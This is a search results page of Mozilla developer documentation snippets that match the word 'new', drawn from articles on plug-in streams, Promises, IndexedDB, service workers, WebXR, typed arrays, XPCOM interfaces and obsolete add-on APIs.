than one stream object per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to or requested by the plug-in instance. the browser calls the plug-in methods npp_
newstream, npp_writeready, npp_write, and npp_destroystream to, respectively, create a stream, find out how much data the plug-in can handle, push data into the stream, and delete it. the plug-in instance selects a transmission mode for streams produced by the browser. stream data can be pushed by the browser, pulled by the plug-in, or saved to a local file and passed to the plug-in. normal mode:...
...s should implement an incremental stream-based interface wherever possible. streams sent by the plug-in to the browser are like normal-mode streams produced by the browser, but in reverse. in normal-mode streams, the browser calls the plug-in to tell it when a stream is created and to push more data. in contrast, for streams produced by the plug-in, the plug-in calls the plug-in api methods npp_
newstream, npp_write, and npp_destroystream to create a stream, push data into it, and delete it. receiving a stream sending a stream receiving a stream when the browser sends a data stream to the plug-in, it has several tasks to perform: telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the ...
... data stream to the plug-in, it has several tasks to perform: telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode telling the plug-in when a stream is created to tell the plug-in instance when a
new stream is created, the browser calls the npp_
newstream method. this method also determines which mode it should use to send data to the plug-in. the browser can create a stream for several different types of data: for the file specified in the data attribute of the object element or the src attribute of the embed element for a data file for a full-page instance the npp_
newstream method has...
...And 17 more matches
Basic animations - Web APIs
save the canvas state if you're changing any setting (such as styles, transformations, etc.) which affect the canvas state and you want to make sure the original state is used each time a frame is drawn, you need to save that original state. draw animated shapes the step where you do the actual frame rendering. restore the canvas state if you've saved the state, restore it before drawing a
new frame. controlling an animation shapes are drawn to the canvas by using the canvas methods directly or by calling custom functions. in normal circumstances, we only see these results appear on the canvas when the script finishes executing. for instance, it isn't possible to do an animation from within a for loop. that means we need a way to execute our drawing functions over a period of time.
...n the system is ready to paint the frame. the number of callbacks is usually 60 times per second and may be reduced to a lower rate when running in background tabs. for more information about the animation loop, especially for games, see the article anatomy of a video game in our game development zone. an animated solar system this example animates a small model of our solar system. ...
... paint the frame. the number of callbacks is usually 60 times per second and may be reduced to a lower rate when running in background tabs. for more information about the animation loop, especially for games, see the article anatomy of a video game in our game development zone. an animated solar system this example animates a small model of our solar system. ...
...And 17 more matches
Using Promises - JavaScript
e order in which they were inserted. one of the great things about using promises is chaining. chaining a common need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the previous operation succeeds, with the result from the previous step. we accomplish this by creating a promise chain. ...
...ase, any callbacks added to promise2 get queued behind the promise returned by either successcallback or failurecallback. basically, each promise represents the completion of another asynchronous step in the chain. ...
...omise2 get queued behind the promise returned by either successcallback or failurecallback. basically, each promise represents the completion of another asynchronous step in the chain. ...
...And 17 more matches
Working with objects - JavaScript
ject. you access the properties of an object with a simple dot-notation: objectname.propertyname like all javascript variables, both the object name (which could be a normal variable) and property name are case sensitive. you can define a property by assigning it a value. ...
...e, a property name that has a space or a hyphen, or that starts with a number) can only be accessed using the square bracket notation. this notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime). ...
...umber) can only be accessed using the square bracket notation. this notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime). ...
...And 17 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
r output from javascript true table 1: preferences to set for developing extensions to make these changes, start your development profile, type about:config into firefox’s location bar and open the preferences window; find the preferences listed in table 1 and double-click on them to set them accordingly. some of these preferences do not exist—to create them, right-click, select “
new>boolean”, and type in the name and set the value accordingly. install the dom inspector the dom inspector is an extension that lets you examine html and xul dom tree structures, javascript objects and css properties, etc. this is not required for developing extensions, but it is handy to have around. install extensions for firefox from the mozilla add-ons website. optional - install firebug...
...t plays two important roles: it registers the contents of the chrome packages, and invokes the cross-package overlay. developing a simple extension: hello world in this section, we will write an extremely simple “hello world” extension that only displays the time.3 phase 1: test install our first step will be to perform a test installation consisting of the minimum code needed to add a
new menu item to the tools menu (figure 3). fixme: figure 3: menu after phase 1 complete source file structure first set up the work folders you’ll use to organize your extension’s source files. the folder can be wherever you want, but for the purposes of this guide, we’ll assume it’s at c:\extensions\helloworld . create folders and files in your work folder as shown in figure 4. the purpo...
...the url input field at the top, then click the inspect button. a browser pane will appear in the lower part of the window. click the spots numbered 1 and 2 in figure 5, in that order; the menu element (3) will then be selected. expand spot 3; this will disclose the area numbered 4, with several menuitem elements. the menupop element 4 contains the merge point where you’re going to be adding a
new menu item; you can see that it has the id menu_toolspopup. look through the menuitem elements within this menupop element and determine where you want to add your
new element. for the time being, let’s locate it in the spot numbered fixme: figure 5: finding merge points for overlays using the dom inspector putting overlays on the browser window now that you know the merge point for your ov...
...And 16 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
completesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. autocompletepopup type: id the id of a popup element used to hold autocomplete results for the element. autocompletesearch
new in thunderbird 2requires seamonkey 1.1 type: space-separated list of values a space-separated list of search component names, each of which implements the nsiautocompletesearch interface. the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute. search-autocomplete requires seamonkey 2.1 the user's def...
...nts the nsiautocompletesearch interface. the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute. search-autocomplete requires seamonkey 2.1 the user's default search engine's suggestions are searched. places-tag-autocomplete requires seamonkey 2.1 the user's places tags are searched. ...
... tags are searched. mydomain
new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested. history requires seamonkey 2.0 the user's url history is searched. form-history requires seamonkey 2.0 search the values that the user has entered into form fields. file (linux only) the local file system is searched. gloda
new in thunderbird 3 addrbook
new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched. ldap
new in thunderbird 25 requires seamonkey 2.22 the user's ldap directory is searched. autocompletesearchparam
new in thunderbird 2 requires seamonkey 1.1 type: string a string which is passed to the search component. ...
...And 16 more matches
Examples
how to throw reject if you have a function that is a promise, and want to end it and throw a reject, you can throw an error. ...
...romise, and want to end it and throw a reject, you can throw an error. components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let
newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { throw
new error("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain. ...
...ath.tmpdir, "file.txt"); let promise = os.file.exists(path); let
newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { throw
new error("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain. let lastpromise =
newpromise.then(function onfulfill(){ }) .catch(function onreject(arejectreason) { console.warn('
newpromise failed with reason: ', arejectreason); }); using a promise returned by a function (verbose) this example uses a verbose syntax, showing all the involved promises. components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt")...
...And 16 more matches
Scripting Java
the importclass() method. the above examples could be expressed as follows: $ java org.mozilla.javascript.tools.shell.main js> importclass(packages.org.mozilla.javascript.context); js> context.currentcontext; org.mozilla.javascript.context@bb6ab6 working with java now that we can access java classes, the next logical step is to create an object. ...
...ethod. the above examples could be expressed as follows: $ java org.mozilla.javascript.tools.shell.main js> importclass(packages.org.mozilla.javascript.context); js> context.currentcontext; org.mozilla.javascript.context@bb6ab6 working with java now that we can access java classes, the next logical step is to create an object. ...
....mozilla.javascript.tools.shell.main js> importclass(packages.org.mozilla.javascript.context); js> context.currentcontext; org.mozilla.javascript.context@bb6ab6 working with java now that we can access java classes, the next logical step is to create an object. ...
...And 16 more matches
nsINavHistoryResultViewer
n nsinavhistorycontainerresultnode acontainernode); void containeropened(in nsinavhistorycontainerresultnode acontainernode); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotationchanged(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateaddedchanged(in nsinavhistoryresultnode anode, in prtime a
newvalue); void nodelastaddedchanged(in nsinavhistoryresultnode anode, in prtime a
newvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime a
newvisitdate, in unsigned long a
newaccesscount); void nodeiconchanged(in nsinavhistoryresultnode anode); void nodekeywordchanged(in nsinavhistoryresultnode anode, in autf8string a
newkeyword); ...
...ode, in prtime a
newvisitdate, in unsigned long a
newaccesscount); void nodeiconchanged(in nsinavhistoryresultnode anode); void nodekeywordchanged(in nsinavhistoryresultnode anode, in autf8string a
newkeyword); void nodemoved(in nsinavhistoryresultnode anode, in nsinavhistorycontainerresultnode aoldparent, in unsigned long aoldindex, in nsinavhistorycontainerresultnode a
newparent, in unsigned long a
newindex); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string a
newtitle); void noderemoved(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode, in unsigned long aoldindex); void nodetagschanged(in nsinavhistoryresultnode anode); void nodeurichanged(in nsinavhistoryresultnode anode, in autf...
...n unsigned long a
newindex); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string a
newtitle); void noderemoved(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode, in unsigned long aoldindex); void nodetagschanged(in nsinavhistoryresultnode anode); void nodeurichanged(in nsinavhistoryresultnode anode, in autf8string a
newuri); void nodereplaced(in nsinavhistorycontainerresultnode parent, in nsinavhistoryresultnode olditem, in nsinavhistoryresultnode
newitem, in unsigned long index); void nodeinserted(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode , in unsigned long a
newindex); void sortingchanged(in unsigned short sortingmode); attributes ...
...And 16 more matches
ARIA Test Cases - Accessibility
t test files the main purpose of dojo's dijit test files are for dojo developers to exercise and debug the code. as such, they are used to test a variety of features, such as styling, behavior, mouse, and keyboard interactions, to name few. these test files are not specifically for testing aria. still, dojo's widgets implement aria, and the noted test files could be used as an "aria test file".
new tests for internet explorer 8 rc1 on this msdn page the aria state/role mapping in ie8 to msaa roles can be directly checked. also, as a clever feature for at testing, the firing of events (like event_object_statechange) can be invoked from the examples. finally, a list of currently non-mapped aria roles is given. documenting and filing bugs review the information on how to file a bug on an ar...
...tabase so that its status can be reviewed. widget test cases alert simple alert complex alert real alert example with aria-required and aria-invalid -- type in a email address without an at sign to test the alert expected at behavior: a screen reader or screen magnifier must speak an alert when it becomes visible. a screen magnifier should move the current view to the alert or open a
new panel with the alert information optional, but desired: if there are widgets within the alert, their role and any keyboard mnemonic (accesskey) should be spoken. for example, "options, button, alt+shift+t" should be spoken if there is an options button in the alert with alt+shift+t as an accesskey. markup used: role="alert" notes: results: at firefox ie opera safa...
...htly build expected at behavior: screen readers should indicate that this button has an associated menu. screen magnifiers should give indication (if this is not done visually anyway). when the button is pressed, the menu should be tracked like any other menu. when closing the menu, this should be indicated, and focus should be repeated for the menu button the menu was opened from, or the
new focus location if the activated menu item results in that. markup used: notes: results: at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 pass in non-v-pc-mode. buttons are indicated as menu buttons. menus are tracked, closing menus also results in correct focus tracking. partial fail in v-pc-mode. the fact that a button is a menu but...
...And 16 more matches
dev/panel - Archive of obsolete content
note that at the moment you can't debug remote targets (for example, firefox os, the firefox os simulator, or firefox for android) using tools developed with this api. we're working on removing this restriction. enables you to extend the firefox developer tools. most of the firefox developer tools are hosted in a ui component called the toolbox. individual built-in tools, such as the javascript debugger or the web console, occupy "panels" in the toolbox. with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and behavior using html, css, and javascript. ...
... it: you specify the panel's content and behavior using html, css, and javascript. when the panel's created, the framework passes it a debuggee: this is a messageport object that you can use to exchange json messages with the browser that the developer tools are currently debugging. the messages follow the remote debugging protocol. for a simple walkthrough of using the dev/panel api to add a
new tool, see adding a panel to the toolbox. basic usage defining the panel constructor to add a
new tool you first need to define a constructor that inherits from the panel class, and in that constructor you need to supply values for various properties . you can set the constructor up manually if you like, or you can use the add-on sdk core/heritage module to simplify the mechanics of inheriting...
...ly values for various properties . you can set the constructor up manually if you like, or you can use the add-on sdk core/heritage module to simplify the mechanics of inheriting from panel. ...
...And 15 more matches
ui/frame - Archive of obsolete content
it occupies the whole width of the browser window and is 18 pixels high on a normal-resolution display or 36 pixels high on a high-resolution (hidpi) display. this toolbar might look something like...
... // city-info.js var cityselector = window.document.getelementbyid("city-selector"); cityselector.addeventlistener("change", citychanged); function citychanged() { window.parent.postmessage(cityselector.value, "*"); } to listen for these messages in the main add-on code, you can assign a listener to the frame's message event. the data property of the event is the message p...
...tyselector.addeventlistener("change", citychanged); function citychanged() { window.parent.postmessage(cityselector.value, "*"); } to listen for these messages in the main add-on code, you can assign a listener to the frame's message event. the data property of the event is the message payload. var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame =
new frame({ url: "./city-info.html", onmessage: (e) => { console.log("
new city: " + e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); from add-on to all frames to send a message from the add-on code to all frames, attached to all open browser windows, you can use frame.postmessage(). you can specify the frame's url property as the tar...
...And 15 more matches
RDF Modifications - Archive of obsolete content
« previousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource changes, for instance a
new triple is added, or a triple is removed, the template updates accordingly, adding or removing result output as needed. no extra code needs to be written to do this; it happens automatically. this involves a third type of observer involved in a template builder, an nsirdfobserver, used to listen for modifications to the rdf datasource. naturally, this only applies to rdf queries. when the datasource is modified, the datasource will notify any observers of the change. the template builder uses these notifcations to update the template as necessary based on the
new or removed information. you don't need to implement this observer yo...
...te does not occur for xml and sqlite sources, only for rdf datasources. however, as it is possible to use and/or implement other query types with templates, these additional types may support automatic updating. there are two main situations when the notifications are made. the first is when the modification functions on the datasource are called. there are four such functions: 'assert', to add a
new triple (or arrow) to the rdf graph, 'unassert' to remove a triple, 'change' to adjust the target of a triple, and 'move' to adjust the source of a 'triple'. for mozilla's datasources, the latter two just unassert the old triple and add a
new one, creating the effect of changing the value. however, only one notification is made. for instance, an assert call looks like the following: var source = ...
... one notification is made. for instance, an assert call looks like the following: var source = rdf.getresource("http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"); var predicate = rdf.getresource("http://purl.org/dc/elements/1.1/description"); var target = rdf.getliteral("one of the thirty or so egyptian obelisks"); datasource.assert(source, predicate, target, true); the assert call adds a
new triple to the rdf datasource. when this happens, any templates observing the datasource will be notified via the rdf observer's onassert method. the second situation when notifications are made is when a datasource is being loaded or reloaded. actually, internally, this isn't any different than the other notifications, but it is worth discussing separately. when the rdf parser loads rdf/xml, it s...
...And 15 more matches
Command line options
joel user". command actions are case insensitive. command parameters, except profile names, are case insensitive. blank spaces ( ) separate commands and parameters. each message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page attachment=www.mozilla.org attachment='file:///c:/test.txt' body=check this page or also in thunderbird 52 and
newer: body=c:\path\to\file.txt separate multiple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" . comma separators must not follow or precede spaces ( ). to assign multiple values to a field, enclose the values in single quotes ('), for example: "to='foo@nowhere.net,foo@foo.de',subject=cool page" . using command line options command line options follow th...
...line option with mozilla's thunderbird mail client. user profile -allow-downgrade firefox 67's downgrade protection prevents accidentally starting firefox in a profile running a later version of firefox. depending on changes between the two versions, some files in a profile may not be downwards compatible. adding this option bypasses downgrade protection. -createprofile profile_name create a
new profile in the default directory, but do not start the application. the profile will be named profile_name in the profile manager, the profile_name must not contain spaces ( ). do not run profile_name while running an instance of the application, you can use the -no-remote option to avoid connecting to a running instance. firefox -createprofile joeluser -createprofile "profile_name profile_dir...
...he default directory, but do not start the application. the profile will be named profile_name in the profile manager, the profile_name must not contain spaces ( ). do not run profile_name while running an instance of the application, you can use the -no-remote option to avoid connecting to a running instance. firefox -createprofile joeluser -createprofile "profile_name profile_dir" creates a
new profile in the profile_dir directory, but do not start the application. the profile will be named profile_name in the profile manager. note profile_name and profile_dir are quoted together, and are separated by exactly 1 space (as with the previous syntax, profile_name must not contain spaces). do not run profile_dir while running an instance of the application. you can use the -no-remote option...
...And 15 more matches
OS.File for the main thread
thread, you need some understanding of the promise library. see the promise object documentation for details. also, os.file plays very nicely with task.jsm. example: read the contents of a file as text the following snippet opens a file "file.txt" and read its contents as a string, using the default encoding (utf-8). the content is read asynchronously. the result is a promise. let decoder =
new textdecoder(); // this decoder can be reused for several reads let promise = os.file.read("file.txt"); // read the complete file as an array promise = promise.then( function onsuccess(array) { return decoder.decode(array); // convert this array to a text } ); this example requires firefox 18 or a more recent version. example: write a string to a file the following snip...
...e recent version. example: write a string to a file the following snippet writes the text "this is some text" to a string "file.txt", using the default encoding (utf-8). ...
..."this is some text"); // convert the text to an array let promise = os.file.writeatomic("file.txt", array, // write the array atomically to "file.txt", using as temporary {tmppath: "file.txt.tmp"}); // buffer "file.txt.tmp". ...
...And 15 more matches
Mozilla DOM Hacking Guide
ards-compliant" interface, which is exactly the same as the w3c one, named nsidom<objectname>.idl, and a mozilla-specific extension interface, named nsidomns<objectname>.idl, for compatibility with dom level 0. for example, the html "area" element has the following interfaces in its flattened set: nsidomhtmlareaelement and nsidomnshtmlareaelement. helper classes nsdomclassinfo.h defines several
new classes. they all end in "sh", for "scriptable helper" e.g. nswindowsh, nselementsh, ... . we call these classes the "helper classes". all the helper classes inherit from the nsdomclassinfo class. to demonstrate this, look in nsdomclassinfo.h. we can see that the nseventrecieversh helper class inherits from nsdomgenericsh: class nseventrecieversh : public nsdomgenericsh and nsdomgenericsh is t...
...to nsdomclassinfo: typedef nsdomclassinfo nsdomgenericsh; another example is nswindowsh, which inherits from nseventreceiversh, thus inheriting from nsdomclassinfo. each dom class is mapped to its helper class during the initialization of the sclassinfodata array. each helper class has a public docreate member function that is called by getclassinfoinstance (see also section 1.6) to create a
new instance of the class if needed. remember that the docreate member function is called through a pointer to a function named mconstructorfptr, a member of the nsdomclassinfodata struct. an instance of a helper class is created the first time xpconnect needs access to the flattened set of interfaces of an object. the instance is then cached for further use. most of the helper classes implement one...
...me xpconnect needs access to the flattened set of interfaces of an object. the instance is then cached for further use. most of the helper classes implement one or more nsixpcscriptable methods. those methods are used by xpconnect when we require something from javascript that was not defined in idl. for example, getproperty() is used when retrieving an attribute that was not defined in idl, and
newresolve() is used when resolving for the first time an attribute or method that was not previously resolved. please see the nsixpcscriptable interface for more information. the nsdomclassinfo class the heart of class info is the nsdomclassinfo class, defined in nsdomclassinfo.h. it implements two interfaces besides nsisupports: nsixpcscriptable and nsiclassinfo. we already know what nsixpcscrip...
...And 15 more matches
nsINavBookmarksService
avbookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); method overview void addobserver(in nsinavbookmarkobserver observer, in boolean ownsweak); void beginupdatebatch(); obsolete since gecko 1.9 void changebookmarkuri(in long long aitemid, in nsiuri a
newuri); long long createdynamiccontainer(in long long aparentfolder, in autf8string aname, in astring acontractid, in long aindex); note: renamed from createcontainer in gecko 1.9 obsolete since gecko 13.0 long long createfolder(in long long aparentfolder, in autf8string name, in long index); void endupdatebatch(); obsolete since gecko 1.9 void exportbookmarkshtml...
....9 long long insertbookmark(in long long aparentid, in nsiuri auri, in long aindex, in autf8string atitle); void insertitem(in print64 folder, in nsiuri item, in print32 index); obsolete since gecko 1.9 long long insertseparator(in long long aparentid, in long aindex); boolean isbookmarked(in nsiuri auri); void movefolder(in print64 folder, in print64
newparent, in print32 index); obsolete since gecko 1.9 void moveitem(in long long aitemid, in long long a
newparentid, in long aindex); void removechildat(in long long afolder, in long aindex); obsolete since gecko 2.0 void removefolder(in long long afolder); obsolete since gecko 2.0 void removefolderchildren(in long long aitemid); void removeitem(in long ...
...oid removechildat(in long long afolder, in long aindex); obsolete since gecko 2.0 void removefolder(in long long afolder); obsolete since gecko 2.0 void removefolderchildren(in long long aitemid); void removeitem(in long long aitemid); void removeobserver(in nsinavbookmarkobserver observer); void replaceitem(in print64 folder, in nsiuri item, in nsiuri
newitem); obsolete since gecko 1.9 void runinbatchmode(in nsinavhistorybatchcallback acallback, in nsisupports auserdata); void setfolderreadonly(in long long afolder, in boolean areadonly); void setfoldertitle(in print64 folder, in astring title); obsolete since gecko 1.9 void setitemdateadded(in long long aitemid, in prtime adateadded); void setitemgu...
...And 15 more matches
nsIXPConnect
jectptr aparent, in jsobjectptr awrappedobj); native code only! ...
...pedglobal(in jscontextptr ajscontext, in nsisupports acomobj, in nsiidref aiid, in nsiprincipal aprincipal, in nsisupports aextraptr, in pruint32 aflags); nsivariant jstovariant(in jscontextptr ctx, in jsval value); nsivariant jsvaltovariant(in jscontextptr cx, in jsvalptr ajsval); void movewrappers(in jscontextptr ajscontext, in jsobjectptr aoldscope, in jsobjectptr a
newscope); [noscript,notxpcom] void notejscontext(in jscontextptr ajscontext, in nscctraversalcallbackref acb); void releasejscontext(in jscontextptr ajscontext, in prbool nogc); void removejsholder(in voidptr aholder); native code only! void reparentscopeawarewrappers(in jscontextptr ajscontext, in jsobjectptr aoldscope, in jsobjectptr a
newscope); obsolete sin...
...ext(in jscontextptr ajscontext, in prbool nogc); void removejsholder(in voidptr aholder); native code only! void reparentscopeawarewrappers(in jscontextptr ajscontext, in jsobjectptr aoldscope, in jsobjectptr a
newscope); obsolete since gecko 1.9.1 nsixpconnectjsobjectholder reparentwrappednativeiffound(in jscontextptr ajscontext, in jsobjectptr ascope, in jsobjectptr a
newparent, in nsisupports acomobj); void restorewrappednativeprototype(in jscontextptr ajscontext, in jsobjectptr ascope, in nsiclassinfo aclassinfo, in nsixpconnectjsobjectholder aprototype); void setdebugmodewhenpossible(in prbool mode); native code only! void setdefaultsecuritymanager(in nsixpcsecuritymanager amanager, in pruint16 flags); nsixpcfunctionthistra...
...And 15 more matches
Using IndexedDB - Web APIs
console.error("database error: " + event.target.errorcode); }; one of the common possible errors when opening a database is ver_err. it indicates that the version of the database stored on the disk is greater than the version that you are trying to open. this is an error case that must always be handled by the error handler. creating or updating the version of the database when you create a
new database or increase the version number of an existing database (by specifying a higher version number than you did previously, when opening a database), the onupgradeneeded event will be triggered and an idbversionchangeevent object will be passed to any onversionchange event handler set up on request.result (i.e., db in the example). in the handler for the upgradeneeded event, you should create...
... function(event) { // save the idbdatabase interface var db = event.target.result; // create an objectstore for this database var objectstore = db.createobjectstore("name", { keypath: "mykey" }); }; in this case, the database will already have the object stores from the previous version of the database, so you do not have to create these object stores again. you only need to create any
new object stores, or delete object stores from the previous version that are no longer needed. if you need to change an existing object store (e.g., to change the keypath), then you must delete the old object store and create it again with the
new options. (note that this will delete the information in the object store! if you need to save that information, you should read it out and save it somewhe...
...ing on whether the object store uses a key path or a key generator. the following table shows the different ways the keys are supplied: key path (keypath) key generator (autoincrement) description no no this object store can hold any kind of value, even primitive values like numbers and strings. you must supply a separate key argument whenever you want to add a
new value. yes no this object store can only hold javascript objects. the objects must have a property with the same name as the key path. no yes this object store can hold any kind of value. the key is generated for you automatically, or you can supply a separate key argument if you want to use a specific key. yes yes this object store can only hold javas...
...And 15 more matches
Using Service Workers - Web APIs
the premise of service workers one overriding problem that web users have suffered with for years is loss of connectivity. the best web app in the world will provide a terrible user experience if you can’t download it. ...
...t an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as offline first). this is already available with native apps, which is one of the main reasons native apps are often chosen over web apps. setting up to play with service workers many service workers features are now enabled by default in
newer versions of supporting browsers. if however you find that demo code is not working in your installed versions, you might need to enable a pref: firefox nightly: go to about:config and set dom.serviceworkers.enabled to true; restart browser. chrome canary: go to chrome://flags and turn on experimental-web-platform-features; restart browser (note that some features are now enabled by default ...
... the main thread. instead, we could build our own promise to handle this kind of case. (see our promises test example for the source code, or look at it running live.) note: a real service worker implementation would use caching and onfetch rather than the xmlhttprequest api. those features are not used here so that you can focus on understanding promises. ...
...And 15 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
then references are obtained to the four <div> blocks into which we'll output the current contents of each of the key matrices for informational purposes while our scene is running. then we look to see if navigator.xr ...
...(shaderprogram, 'umodelviewmatrix'), normalmatrix: gl.getuniformlocation(shaderprogram, 'unormalmatrix'), usampler: gl.getuniformlocation(shaderprogram, 'usampler') }, }; buffers = initbuffers(gl); texture = loadtexture(gl, 'https://cdn.glitch.com/a9381af1-18a9-495e-ad01-afddfd15d000%2ffirefox-logo-solid.png?v=1575659351244'); xrsession.updaterenderstate({ baselayer:
new xrwebgllayer(xrsession, gl) }); if (session_type == "immersive-vr") { refspacetype = "local"; } else { refspacetype = "viewer"; } mat4.fromtranslation(cubematrix, viewerstartposition); vec3.copy(cubeorientation, viewerstartorientation); xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( ...
...xrwebgllayer(xrsession, gl) }); if (session_type == "immersive-vr") { refspacetype = "local"; } else { refspacetype = "viewer"; } mat4.fromtranslation(cubematrix, viewerstartposition); vec3.copy(cubeorientation, viewerstartorientation); xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace(
new xrrigidtransform(viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); return xrsession; } after storing the
newly-created xrsession object into xrsession, the label of the button is set to "exit webxr" to indicate its
new function after starting the scene, and a handler is installed for the end event, so we get notified when t...
...And 15 more matches
Proxy - JavaScript
ers: target: the original object which you want to proxy handler: an object that defines which operations will be intercepted and how to redefine intercepted operations. ...
... handler functions are sometimes called traps, presumably because they trap calls to the target object. the very simple trap in handler2 above redefines all property accessors: console.log(proxy2.message1); // world console.log(proxy2.message2); // w...
... static methods proxy.revocable() creates a revocable proxy object. examples basic example in this simple example, the number 37 gets returned as the default value when the property name is not in the object. it is using the get hand...
...And 15 more matches
TypedArray - JavaScript
it is only directly accessible through object.getprototypeof(int8array) and similar. all typedarrays constructors inherit common properties from the %typedarray% constructor function. additionally, all typed array prototypes (typedarray.prototype) have %typedarray%.prototype as their [[prototype]]. the %typedarray% constructor on its own is not particularly useful. calling it or using it in a
new expression will throw a typeerror, except when used during object creation in js engines that support subclassing. there are at present no such engines, so %typedarray% is only useful to polyfill functions or properties onto all typedarray constructors. when creating an instance of a typedarray (e.g. int8array), an array buffer is created internally in memory or, if an arraybuffer object is giv...
...ned integer bigint int64_t (signed long long) biguint64array 0 to 264-1 8 64-bit unsigned integer bigint uint64_t (unsigned long long) constructor this object cannot be instantiated directly. instead, you create an instance of an array of a particular type, such as a int8array or a bigint64array. these objects all have a common syntax for their constructors:
new typedarray();
new typedarray(length);
new typedarray(typedarray);
new typedarray(object);
new typedarray(buffer [, byteoffset [, length]]); where typedarray is a constructor for one of the concrete types. parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray w...
...ypedarray is a constructor for one of the concrete types. parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...And 15 more matches
Menu - Archive of obsolete content
note: this page documents the jetpack prototype, which has since been replaced by the add-on sdk. please see the wiki page and online documentation for more information on how to use the add-on sdk. jetpack's menu api allows features to access and modify the browser's built-in menus. features can also create
new menus and attach them almost anywhere, chrome or content, as popup menus or context menus. two namespaces are associated with this api: jetpack.menu, which provides access to the browser's menus, and jetpack.menu, the constructor for making
new menus. the api is fairly comprehensive, so you may want to start by reading through some examples. because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.
...constructors jetpack.menu() creates an empty menu. jetpack.menu(menuitems) creates a menu with the given items. parameters menuitems an array of menuitems. jetpack.menu(properties) creates a menu with specific properties. parameters properties an object defining any of the properties below. ...
...u is shown, it will reflect the changes. isshowing boolean true if the menu is currently visible and false otherwise. read-only. items array an array of menuitems in the menu. read-only. methods add(items) clear() contexton(node) hide() insertbefore(
newitems, target) item(target) popupon(node) remove(target) replace(target,
newitems) reset() set(items) show(anchornode) add(items) adds items to the menu. the position at which the items are added is at jetpack's discretion. this method and set() are the recommended metho...
...And 14 more matches
Index - Learn web development
fit it into your workflow. you should now also have a thirst to learn about the implementation details that can make sites accessible, and we'll start on that in the next section, looking at why html is a good basis for accessibility. 13 aprender y obtener ayuda beginner, learn, learning, web development, getting help it is great that you are putting some time into learning a
new set of skills, but there are good practices to employ that will make your learning more effective. there are also are times when you'll get stuck and feel frustrated — even professional web developers feel like this regularly — and it pays to know about the most effective ways to try and get help so you can progress in your work. this article provides some hints and tips in both of these area...
...ot of jargon. don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). however, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. it's easy to confuse these terms sometimes since they refer to related but different functionalities. in fact, you'll sometimes see these terms misused in
news reports and elsewhere, so getting them mixed up is understandable! 33 what software do i need to build a website? beginner, needsactivelearning, webmechanics you can download most of the programs you need for web development for free. we'll provide a few links in this article. 34 what text editors are available? beginner, composing, guide, tools, text editor ...
...e your text editor wisely. 35 front-end web developer beginner, css, front-end, html, javascript, learn, tools, web standards welcome to our front-end web developer learning pathway! 36 getting started with the web beginner, css, design, guide, html, index, l10n:priority, publishing, theory it's a lot of work to create a professional website, so if you're
